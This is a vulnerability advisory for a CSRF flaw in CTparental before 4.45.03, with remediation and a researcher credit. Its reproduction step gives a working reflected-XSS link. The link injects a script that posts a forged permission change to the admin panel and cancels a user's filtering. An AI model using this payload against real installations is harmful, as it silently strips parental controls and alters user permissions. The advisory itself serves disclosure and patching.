Summary
CTparental before 4.45.03 is vulnerable to CSRF.
Product
CTparental before 4.45.03
Impact
An attacker could trick the admin into clicking a link to a certain web page. The webpage would run on the admin browser, redirect the browser to the CTparental admin panel, and cause a permission change. Combine this vulnerability with the XSS vulnerability; an attacker could save the effort of creating a web page, and instead, trick the admin into clicking a crafted link that changes their and/or any other user’s permission in the system and, as a result, cancel the desired filtering.
Steps to reproduce
To reproduce exploiting the vulnerability, enter the following link in the browser:
https://admin.ct.local/bl_categories_help.php?cat=<script>var xhr=new XMLHttpRequest(); xhr.open("POST", "https://admin.ct.local/index.php?dgfile=privileged%20group/", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xhr.send("chk-2%3don%26choix%3dchange_user"); </script>
Expected result:
Filtering is canceled for user superman.
Remediation
Update CTparental to 4.45.03 or above.
Credit
This issue was discovered and reported by Checkmarx Security Researcher
Or Sahar.
